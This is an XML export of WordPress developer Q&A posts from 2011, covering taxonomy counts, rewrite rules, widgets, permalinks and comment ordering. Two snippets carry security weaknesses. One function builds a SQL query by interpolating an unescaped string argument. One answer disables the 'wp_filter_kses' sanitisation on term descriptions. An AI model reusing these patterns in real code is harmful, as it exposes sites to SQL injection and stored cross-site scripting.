  <row Id="26548" PostTypeId="1" CreationDate="2011-08-22T09:35:40.817" Score="0" ViewCount="9" Body="&lt;p&gt;I found a function that counts the number of posts in a custom taxonomy term. The problem is when I &quot;trash&quot; a post it still appears in the count. Any ideas on how to fix this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Placed in functions.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//Job count&#xA;&#xA;function wt_get_category_count($input = '') {&#xA;global $wpdb;&#xA;if($input == '')&#xA;{&#xA;$category = get_the_category();&#xA;return $category[0]-&amp;gt;category_count;&#xA;}&#xA;elseif(is_numeric($input))&#xA;{&#xA;$SQL = &quot;SELECT $wpdb-&amp;gt;term_taxonomy.count FROM $wpdb-&amp;gt;terms, $wpdb-&amp;gt;term_taxonomy WHERE $wpdb-&amp;gt;terms.term_id=$wpdb-&amp;gt;term_taxonomy.term_id AND $wpdb-&amp;gt;term_taxonomy.term_id=$input&quot;;&#xA;return $wpdb-&amp;gt;get_var($SQL);&#xA;}&#xA;else&#xA;{&#xA;$SQL = &quot;SELECT $wpdb-&amp;gt;term_taxonomy.count FROM $wpdb-&amp;gt;terms, $wpdb-&amp;gt;term_taxonomy WHERE $wpdb-&amp;gt;terms.term_id=$wpdb-&amp;gt;term_taxonomy.term_id AND $wpdb-&amp;gt;terms.slug='$input'&quot;;&#xA;return $wpdb-&amp;gt;get_var($SQL);&#xA;}&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Placed in the template file: (term located by id)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo wt_get_category_count('26'); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8063" LastActivityDate="2011-08-22T09:35:40.817" Title="Removing &quot;trashed&quot; posts from post count in custom taxonomy terms?" Tags="&lt;custom-taxonomy&gt;" />
  <row Id="26549" PostTypeId="2" ParentId="26538" CreationDate="2011-08-22T09:44:45.040" Score="0" ViewCount="" Body="&lt;p&gt;You could create your menu in wp-admin&gt;appearance&gt;menus then make sure that custom CSS classes is checked in the Screen options drop down at the top of wp-admin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All you would need to do then is give each menu item a css class and within your stylesheet define the menu image as a background image.&lt;/p&gt;&#xA;" OwnerUserId="7906" LastActivityDate="2011-08-22T09:44:45.040" />
  <row Id="26550" PostTypeId="2" ParentId="22175" CreationDate="2011-08-22T09:48:01.517" Score="1" ViewCount="" Body="&lt;p&gt;Had the post been saved before your tried to insert the image? I'm pretty sure to insert an image into a post the post needs to have a valid post_id.&lt;/p&gt;&#xA;" OwnerUserId="3282" LastActivityDate="2011-08-22T09:48:01.517" CommentCount="1" />
  <row Id="26551" PostTypeId="1" AcceptedAnswerId="26581" CreationDate="2011-08-22T09:54:21.767" Score="0" ViewCount="14" Body="&lt;p&gt;I have created a custom post type named 'projects' with link custom taxonomy named 'projects'. I have added the five different project categories with this project taxonomy with two level of hierarchy &lt;a href=&quot;http://wordpress.org/extend/plugins/custom-post-type-ui/installation/&quot; rel=&quot;nofollow&quot;&gt;custom post type ui&lt;/a&gt;. I tried to find function to get these five categories with taxonomy name 'projects' but i did not get the solution. Can anyone help me out how to get the list of these categories created with taxonomy named 'projects'. Any help will be appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="478" LastActivityDate="2011-08-22T15:25:19.217" Title="How to list the categories by custom taxonomy created?" Tags="&lt;plugins&gt;&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;" AnswerCount="1" />
  <row Id="26552" PostTypeId="2" ParentId="26538" CreationDate="2011-08-22T10:26:17.917" Score="0" ViewCount="" Body="&lt;p&gt;although @roikles offers a way to do it, I don't think it is very flexible as you will have to go back in the code when you want to add a new category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another way of doing it can be to add the image of the subcategory as the description of the subcategory. &#xA;To be able to do so, you will first need to allow XHTML in category descriptions. Add this line to your &lt;code&gt;functions.php&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;remove_filter( 'pre_term_description', 'wp_filter_kses' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then you can echo that description with &lt;code&gt;wp_list_categories&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="2015" LastActivityDate="2011-08-22T10:26:17.917" />
  <row Id="26553" PostTypeId="2" ParentId="26213" CreationDate="2011-08-22T10:32:31.547" Score="1" ViewCount="" Body="&lt;p&gt;finally I manage to load the CSS based on user option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How To:&#xA;extend my widget class to WP_Widget&lt;/p&gt;&#xA;&#xA;&lt;p&gt;in my widget constructor I just call the code below and I can get the user option.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$settings = $this-&amp;gt;get_settings();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Based on the user option, I can use wp_enqueue_style.&lt;/p&gt;&#xA;" OwnerUserId="7992" LastActivityDate="2011-08-22T10:32:31.547" CommentCount="1" />
  <row Id="26554" PostTypeId="1" AcceptedAnswerId="26748" CreationDate="2011-08-22T11:11:34.467" Score="0" ViewCount="36" Body="&lt;p&gt;I have a page named &lt;a href=&quot;http://www.mysite.com/whitepapers/&quot; rel=&quot;nofollow&quot;&gt;http://www.mysite.com/whitepapers/&lt;/a&gt; and it worked fine. I have now added a physical &quot;whitepapers&quot; directory and has since broken my permalink for the page. I realize that it has something to do with content negotiation after reading &lt;a href=&quot;http://wordpress.stackexchange.com/questions/6511/my-permalinks-are-broken-can-i-use-mod-rewrite-to-ignore-a-physical-file&quot;&gt;this post&lt;/a&gt; but the fix did not work.&lt;/p&gt;&#xA;" OwnerUserId="5804" LastActivityDate="2011-08-24T10:26:37.827" Title="Page URL not working due to physical directory" Tags="&lt;permalinks&gt;&lt;directory&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="26555" PostTypeId="1" CreationDate="2011-08-22T11:12:00.443" Score="0" ViewCount="37" Body="&lt;p&gt;ive been trying to rewrite a shop uri, and what i have now is this code:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('rewrite_rules_array','wp_insertMyRewriteRules');&#xA;add_filter('query_vars','wp_insertMyRewriteQueryVars');&#xA;add_filter('wp_loaded','flushRules');  &#xA;&#xA;// Remember to flush_rules() when adding rules&#xA;function flushRules(){&#xA;    global $wp_rewrite;&#xA;    $wp_rewrite-&amp;gt;flush_rules();&#xA;}&#xA;&#xA;// Adding a new rule&#xA;function wp_insertMyRewriteRules($rules) {&#xA;    $newrules = array();&#xA;    $newrules['shop/brand/(brand)/?$'] = 'shop.php?brand=$matches[1]' ; &#xA;     //$wp_rewrite-&amp;gt;rules = $new_rules + $wp_rewrite-&amp;gt;rules;&#xA;     return $newrules + $rules ;&#xA;}&#xA;&#xA;// Adding the bid var so that WP recognizes it&#xA;function wp_insertMyRewriteQueryVars($vars) {&#xA;    array_push($vars, 'brand');&#xA;    return $vars;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but no matter what i do i cant get this to work.&#xA;im using Monkeyman Rewrite Analyzer plugin to view the active ap rewrites and what it tells me is that brand &quot;is not public and will not be saved&quot;. also it changes my shop.php to shop_php...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;shop/brand/(brand)/?$    shop_php?brand: (brand)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;why is this such a mess?   i try to modify .htaccess as little as possible, also since i want this to be in the theme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;aaaaa&#xA;thanks&lt;/p&gt;&#xA;" OwnerUserId="8099" LastActivityDate="2011-08-24T17:39:41.557" Title="how to properly rewrite url by custom var" Tags="&lt;url-rewriting&gt;&lt;rewrite-rules&gt;&lt;regex&gt;" AnswerCount="2" />
  <row Id="26556" PostTypeId="1" CreationDate="2011-08-20T11:56:33.397" Score="1" ViewCount="27" Body="&lt;p&gt;I'm putting together a website that runs on Wordpress with the Thesis Theme Framework. I've installed the Multiple Category Selection Widget and have a problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When a user selects a filter and no results are returned, they are sent to a blank page. I need this to have a notification like &quot;Sorry, your criteria retuned no results&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been trying to put together a custom function to solve this, I thought that there would be many different way to do this. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Checking to see if teasers are loaded, if not inject a message&lt;/li&gt;&#xA;&lt;li&gt;preg_match for , if not inject a message&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I presume that I'm looking for a php if function, but have got as far as I can. Any help would be greatly appreciated. &lt;/p&gt;&#xA;" OwnerUserId="8109" LastEditorUserId="8109" LastEditorDisplayName="" LastEditDate="2011-08-22T18:19:23.893" LastActivityDate="2011-08-22T18:19:23.893" Title="Wordpress MSCW empty category result - needs notification PHP function" Tags="&lt;categories&gt;&lt;php&gt;&lt;widgets&gt;&lt;validation&gt;&lt;theme-thesis&gt;" CommentCount="2" />
  <row Id="26557" PostTypeId="1" CreationDate="2011-08-22T11:45:35.547" Score="0" ViewCount="16" Body="&lt;p&gt;I would like to programmatically add widgets to my two sidebars that I've got. I couldn't find any official way of doing it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I started looking in the database. I've found that it's the 'sidebars_widgets' option which puts widgets on sidebars. When looking at the options the widget names has a number added to the end like: widget_name-6. Where does that number come from?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea on how to fix this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT-----------------&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found the answer:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    $widgets = array(&#xA;    'middle-sidebar' =&amp;gt; array(&#xA;        'widget_name'&#xA;    ),&#xA;    'right-sidebar' =&amp;gt; array(&#xA;        'widget2_name-1'&#xA;    )&#xA;);&#xA;update_option('sidebars_widgets', $widgets);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The -number can be used if you later want to add options to the widget with something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    update_option('widget_widget_name', array(&#xA;    1 =&amp;gt; array(&#xA;        'title' =&amp;gt; 'The tile',&#xA;        'number' =&amp;gt; 4&#xA;    ),&#xA;    '_multiwidget' =&amp;gt; 1&#xA;));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8101" LastEditorUserId="8101" LastEditorDisplayName="" LastEditDate="2011-08-22T14:10:15.523" LastActivityDate="2011-08-22T14:10:15.523" Title="Programmatically add widgets to sidebars" Tags="&lt;widgets&gt;&lt;sidebar&gt;" CommentCount="2" />
  <row Id="26558" PostTypeId="1" AcceptedAnswerId="26566" CreationDate="2011-08-22T07:20:04.270" Score="0" ViewCount="11" Body="&lt;p&gt;I'm trying to activate permalinks on my Wordpress installation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I activate them my menu links point to page names that have changed sometime ago which result in a 404. I don't really understand how I can configure this. When I edit the menu in the menu settings the names are the current ones.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use qtranslate. Can this be the source of the problem?&lt;/p&gt;&#xA;" OwnerUserId="8103" LastActivityDate="2011-08-22T13:08:24.807" Title="Wordpress: Permalinks link to old names" Tags="&lt;permalinks&gt;" AnswerCount="1" />
  <row Id="26559" PostTypeId="1" CreationDate="2011-08-22T12:26:58.850" Score="0" ViewCount="20" Body="&lt;p&gt;I'm trying to count the number of total posts of a custom post type &quot;jobs&quot;. My query just returns &quot;0&quot; when I know there are posts. I don't think it is checking that the post type has posts, but I'm clueless as to why... any ideas?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $jobs = new WP_Query(array( 'post_type' =&amp;gt; 'jobs' ));?&amp;gt;&#xA;&amp;lt;?php if ($jobs-&amp;gt;have_posts()) { &#xA;&#xA;    $count_posts = wp_count_posts()-&amp;gt;publish; &#xA;    if ( $count_posts == &quot;1&quot; ) { &#xA;        echo &quot;&amp;lt;h2&amp;gt;There is currently one vacancy...&amp;lt;/h2&amp;gt;&quot;; }&#xA;    else { echo &quot;&amp;lt;h2&amp;gt;There are currently  $count_posts vacancies...&amp;lt;/h2&amp;gt;&quot;; }&#xA;&#xA;} else { ?&amp;gt;&#xA;&amp;lt;h2&amp;gt;There are currently no vacancies.&amp;lt;/h2&amp;gt;&#xA;&amp;lt;?php } ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8063" LastActivityDate="2011-08-22T14:04:16.083" Title="Counting the number of posts (custom post type) Query problems" Tags="&lt;custom-post-types&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="26560" PostTypeId="1" AcceptedAnswerId="26632" CreationDate="2011-08-22T12:32:01.383" Score="0" ViewCount="48" Body="&lt;p&gt;I've got this category setup that includes several posts. By design it's not a blog, but a staff listing. Currently all of the staff members have their own posts with the category. I'd like to be able to sort the order they are displayed in in their parent category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I go about doing this in the most user friendly manner? My client may want to change this sorting order in the future, especially when staff members leave or new ones get hired.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any and all help will be greatly appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://gointrigue.com/beta/faculty/&quot; rel=&quot;nofollow&quot;&gt;http://gointrigue.com/beta/faculty/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To expand on this: In the link I've provided you'll be taken to a category page I made called /faculty/. In this category page I have several posts listed. Wordpress automatically lists them in the order they were created. With the most recently created post being listed first.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to list them in my own custom order. How do I do this?&lt;/p&gt;&#xA;" OwnerUserId="7298" LastEditorUserId="7298" LastEditorDisplayName="" LastEditDate="2011-08-23T02:20:48.950" LastActivityDate="2011-08-23T03:48:40.510" Title="Setting Custom Sort Order of Posts within a Category" Tags="&lt;posts&gt;&lt;categories&gt;&lt;customization&gt;&lt;sort&gt;" AnswerCount="2" />
  <row Id="26561" PostTypeId="1" AcceptedAnswerId="26580" CreationDate="2011-08-22T12:35:38.360" Score="0" ViewCount="23" Body="&lt;p&gt;In any SE site, there are suggestions that pop out when you are writing in the &lt;strong&gt;Tag&lt;/strong&gt; field. Is there any way of doing something similar in Wordpress? (a simple vertical list is enough).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Maybe helped with jQuery).&lt;/p&gt;&#xA;" OwnerUserId="781" LastActivityDate="2011-08-22T15:18:59.640" Title="Is there any way of making post tags (or custom post type tags) pop up as suggestion as in StackExchange sites?" Tags="&lt;tags&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="26562" PostTypeId="1" CreationDate="2011-08-22T12:39:11.183" Score="0" ViewCount="20" Body="&lt;p&gt;I'm currently designing a site for a client and I don't want anyone to be able to navigate to the homepage and see it. So currently the site is located in a subfolder of the main domain. Like so: &lt;a href=&quot;http://gointrigue.com/beta/&quot; rel=&quot;nofollow&quot;&gt;http://gointrigue.com/beta/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What steps do I need to take to move the site to simply &lt;a href=&quot;http://gointrigue.com/&quot; rel=&quot;nofollow&quot;&gt;http://gointrigue.com/&lt;/a&gt; when we are ready to launch it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or, is there a way to move it there right now, while I'm still developing it, and simply hide the homepage from the outside world while I can still see it? The only reason I decided to develop it in a subfolder like /beta/ was because I didn't know how to stop other people from seeing the homepage while still allowing myself to see it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's the easiest, simplest answer here? Your help is greatly appreciated!&lt;/p&gt;&#xA;" OwnerUserId="7298" LastActivityDate="2011-08-22T13:00:49.807" Title="Best way to transfer Wordpress install to root of directory when I'm ready to launch?" Tags="&lt;subdirectories&gt;" AnswerCount="1" />
  <row Id="26563" PostTypeId="1" CreationDate="2011-08-22T12:22:31.597" Score="1" ViewCount="73" Body="&lt;p&gt;This is more of a template tag question than a programming question, but since WPEC's wiki and forum is quite useless I had to give it a shot here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using shortcodes you can easily include a given number of products from a given category in any post and page. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;But how can I achieve the following:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the bottom of the single product view template I would like to show three random products from the same category as the product that is being viewed.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;em&gt;PS: I'm aware of the related product plugins that exists, but they're&#xA;  struggling with the new product variations in WPEC. That's why I&#xA;  prefer to use the standard category listing included in WPEC instead.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance for all kinds of help!&lt;/p&gt;&#xA;" LastActivityDate="2011-08-24T00:02:10.530" Title="WP E-commerce: Showing 3 random products from current category when viewing product" Tags="&lt;php&gt;&lt;e-commerce&gt;&lt;plugins&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="26564" PostTypeId="2" ParentId="26563" CreationDate="2011-08-22T12:30:58.113" Score="0" ViewCount="" Body="&lt;p&gt;You can get the current category by:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;?php get_the_category( $id ) ?&amp;gt;&lt;/code&gt; - Here id is id of your current post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Than-after use  &lt;code&gt;Random Post from Category&lt;/code&gt; plugin 'http://wordpress.org/extend/plugins/random-posts-from-category/' &lt;/p&gt;&#xA;&#xA;&lt;p&gt;And give the current category id to it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;And here you will get all products of the current product category.&lt;/p&gt;&#xA;" OwnerUserId="7341" LastActivityDate="2011-08-22T12:30:58.113" />
  <row Id="26565" PostTypeId="2" ParentId="26562" CreationDate="2011-08-22T13:00:49.807" Score="0" ViewCount="" Body="&lt;p&gt;See &lt;a href=&quot;http://codex.wordpress.org/Moving_WordPress&quot; rel=&quot;nofollow&quot;&gt;Moving WordPress « WordPress Codex&lt;/a&gt;, or, keep all WP files (except index.php) in /beta/ and see &lt;a href=&quot;http://codex.wordpress.org/Giving_WordPress_Its_Own_Directory&quot; rel=&quot;nofollow&quot;&gt;Giving WordPress Its Own Directory « WordPress Codex.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use &lt;a href=&quot;http://wordpress.org/extend/plugins/absolute-privacy/&quot; rel=&quot;nofollow&quot;&gt;WordPress › Absolute Privacy « WordPress Plugins&lt;/a&gt; to make WP private until launch.&lt;/p&gt;&#xA;" OwnerUserId="268" LastActivityDate="2011-08-22T13:00:49.807" />
  <row Id="26566" PostTypeId="2" ParentId="26558" CreationDate="2011-08-22T13:08:24.807" Score="0" ViewCount="" Body="&lt;p&gt;I found it. The box to edit the title had been invisible. I made it visible with the according  checkbox in the options bar on the top.&lt;/p&gt;&#xA;" OwnerUserId="8103" LastActivityDate="2011-08-22T13:08:24.807" />
  <row Id="26567" PostTypeId="1" CreationDate="2011-08-22T13:14:25.347" Score="0" ViewCount="7" Body="&lt;p&gt;I'm wondering if there's a solution to pull videos from a page and randomly display them on single post in WordPress? Let me explain a bit further.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a sitemap file with videos, which is located here: &lt;a href=&quot;http://blogote.com/sitemap-video.xml&quot; rel=&quot;nofollow&quot;&gt;http://blogote.com/sitemap-video.xml&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, whenever a visitor surfs through pages or any articles from my blog, any one of the video from the sitemap should be pulled and displayed in the sidebar, randomly. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Merriam Webster does something similar. The site pulls videos from it's Video Index. Check the link below, some of the videos are different from the SERP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example link: &lt;a href=&quot;http://bit.ly/oGbv1v&quot; rel=&quot;nofollow&quot;&gt;http://bit.ly/oGbv1v&lt;/a&gt; (Points to Google Search)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any input is highly appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S: I'm assuming this approach can help videos gain visibility.&lt;/p&gt;&#xA;" OwnerUserId="7371" LastActivityDate="2011-08-22T13:14:25.347" Title="Pull Videos From Video Sitemap File and Place them on Sidebar Randomly?" Tags="&lt;plugins&gt;&lt;videos&gt;" />
  <row Id="26568" PostTypeId="1" CreationDate="2011-08-22T13:44:24.617" Score="0" ViewCount="37" Body="&lt;p&gt;Doesnt Show Any Results&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;$query = array(&#xA;    'tax_query' =&amp;gt; array(&#xA;&#xA;        'relation' =&amp;gt; 'AND',&#xA;&#xA;        array (&#xA;            'taxonomy' =&amp;gt; 'location',&#xA;            'field' =&amp;gt; 'slug',&#xA;            'terms' =&amp;gt; array( 'california', '' ),&#xA;        ),&#xA;&#xA;        array(&#xA;            'taxonomy' =&amp;gt; 'genre',&#xA;            'field' =&amp;gt; 'slug',&#xA;            'terms' =&amp;gt; array( 'comedy', '' ),&#xA;        )&#xA;    )&#xA;);&#xA;&#xA;&#xA;$query = new WP_Query();&#xA;&#xA;&#xA;?&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Doesnt Show Any Results :( No Posts are displayed, Need Help thanks&lt;/p&gt;&#xA;" OwnerUserId="8008" LastEditorUserId="4850" LastEditorDisplayName="" LastEditDate="2011-08-22T15:18:10.590" LastActivityDate="2011-08-23T06:31:16.490" Title="Related Taxonomy Doesnt Show any Posts" Tags="&lt;taxonomy&gt;" AnswerCount="3" />
  <row Id="26569" PostTypeId="2" ParentId="26559" CreationDate="2011-08-22T14:04:16.083" Score="0" ViewCount="" Body="&lt;p&gt;The &lt;code&gt;wp_count_posts&lt;/code&gt; function has parameter &lt;code&gt;$type&lt;/code&gt; for post type to count, you should use this parameter if you want to get number of jobs&lt;/p&gt;&#xA;&#xA;&lt;p&gt;like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$count_posts = wp_count_posts( 'jobs' )-&amp;gt;publish;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="888" LastActivityDate="2011-08-22T14:04:16.083" />
  <row Id="26570" PostTypeId="1" AcceptedAnswerId="26574" CreationDate="2011-08-22T14:15:49.837" Score="1" ViewCount="30" Body="&lt;p&gt;Are there any WordPress specific Javascript functions that could be used as helpers when writing custom code?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am thinking specifically of one that would pull back the base URL of your install, but any helper functions built into WordPress would be nice to know.&lt;/p&gt;&#xA;" OwnerUserId="1213" LastActivityDate="2011-08-22T14:55:37.343" Title="Javascript Helpers" Tags="&lt;javascript&gt;" AnswerCount="1" />
  <row Id="26571" PostTypeId="1" CreationDate="2011-08-22T14:28:08.230" Score="-1" ViewCount="23" Body="&lt;p&gt;I use Wordpress commment pagination as follows:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;paginated comments&lt;/li&gt;&#xA;&lt;li&gt;comments displayed with the newest comments at the top of each page&lt;/li&gt;&#xA;&lt;li&gt;50 comments on each page&lt;/li&gt;&#xA;&lt;li&gt;first page displayed by default&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The problem is that I am trying to achieve YouTube like comments such as - newest comments on first page, first page being displayed by default, then older comments in order on page 2, 3 etc&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that Wordpress comments are structured in such way,that I cannot achieve this by changing the &quot;Discussion&quot; settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried different options, such as extending the Walker's paged_walk() function, or to reverse the comments, or even pulling the comments with a MySQL query and using paginate_link() - but can't seem to be able to achieve this type of comments hierarchy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any advice is appreciated, thank you!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Solution:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have found a solution as follows:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;into functions.php I have inserted a custom function that sorts the comments by date (newest comments first) by using an associative array sorting as can be seen &lt;a href=&quot;http://stackoverflow.com/questions/1597736/how-to-sort-an-array-of-associative-arrays-by-value-of-a-given-key-in-php&quot;&gt;here&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;into the Wordpress settings I changed the following at Settings -&gt; Discussion &lt;em&gt;Comments should be displayed with the  comments at the top of each page&lt;/em&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So now my comments are being displayed newest first (at top) with page numbering starting from 1. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only issue that I see, is that when posting a comment the user is redirected for some reason to the last page of comments.&lt;/p&gt;&#xA;" OwnerUserId="4747" LastEditorUserId="4747" LastEditorDisplayName="" LastEditDate="2011-08-23T10:04:49.453" LastActivityDate="2011-08-23T10:04:49.453" Title="Wordpress comment pagination : newest comments on first page" Tags="&lt;comments&gt;&lt;pagination&gt;" AnswerCount="1" />
  <row Id="26572" PostTypeId="2" ParentId="26555" CreationDate="2011-08-22T14:34:57.673" Score="1" ViewCount="" Body="&lt;p&gt;So, first off, never flush rewrite rules on every page load.  Better to do it on plugin activation one time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Step 1: add the rewrite rule:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'init', 'wpse26555_add_rewrite' );&#xA;function wpse26555_add_rewrite()&#xA;{&#xA;    // You should probably rewrite to index.php instead of shop.php?&#xA;    add_rewrite_rule( '/shop/brand/([^/]+)/?$', 'index.php?brand=$matches[1]', 'top' );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Step 2: add the query var&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'query_vars', 'wpse26555_add_vars' );&#xA;function wpse26555_add_vars( $vars )&#xA;{&#xA;    $vars[] = 'brand';&#xA;    return $vars;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then flush on plugin activation (because something like this should probably be in a plugin file).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php    &#xA;// Somewhere in your plugin's main file    &#xA;register_activation_hook( __FILE__, 'wpse26555_activation' );&#xA;function wpse26555_activation()&#xA;{&#xA;        // Add the rule first&#xA;        wpse26555_add_rewrite();&#xA;        // Then flush rewrite rules&#xA;        flush_rewrite_rules();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then on the front end you can do something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if( $brand = get_query_var( 'brand' ) )&#xA;{&#xA;    // Do stuff with $brand here&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Maybe a better strategy would be to rewrite brand to a specific page?  Or maybe brand could be some sort of custom taxonomy?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll have to test the above code, it was off the top of my head, but it should work or at least get you started&lt;/p&gt;&#xA;" OwnerUserId="6035" LastActivityDate="2011-08-22T14:34:57.673" CommentCount="1" />
  <row Id="26573" PostTypeId="2" ParentId="26497" CreationDate="2011-08-22T14:52:52.997" Score="1" ViewCount="" Body="&lt;p&gt;I think it's probably your front end code that's the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;if( $letter = get_query_var( 'letter' ) ) &#xA;{&#xA;        echo 'Current Letter: ' . $letter;&#xA;}&#xA;else&#xA;{&#xA;        echo 'Current Letter: All';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6035" LastActivityDate="2011-08-22T14:52:52.997" CommentCount="6" />
  <row Id="26574" PostTypeId="2" ParentId="26570" CreationDate="2011-08-22T14:55:37.343" Score="5" ViewCount="" Body="&lt;p&gt;WordPress installs with a number of &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_enqueue_script#Default_scripts_included_with_WordPress&quot; rel=&quot;nofollow&quot;&gt;libraries/classes/plugins/etc&lt;/a&gt; that you can enqueue and use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For base url specifically, or any vars in general you need to access from javascript, use the api php functions, then pass it to your javascript via &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_localize_script&quot; rel=&quot;nofollow&quot;&gt;wp_localize_script&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-08-22T14:55:37.343" CommentCount="1" />
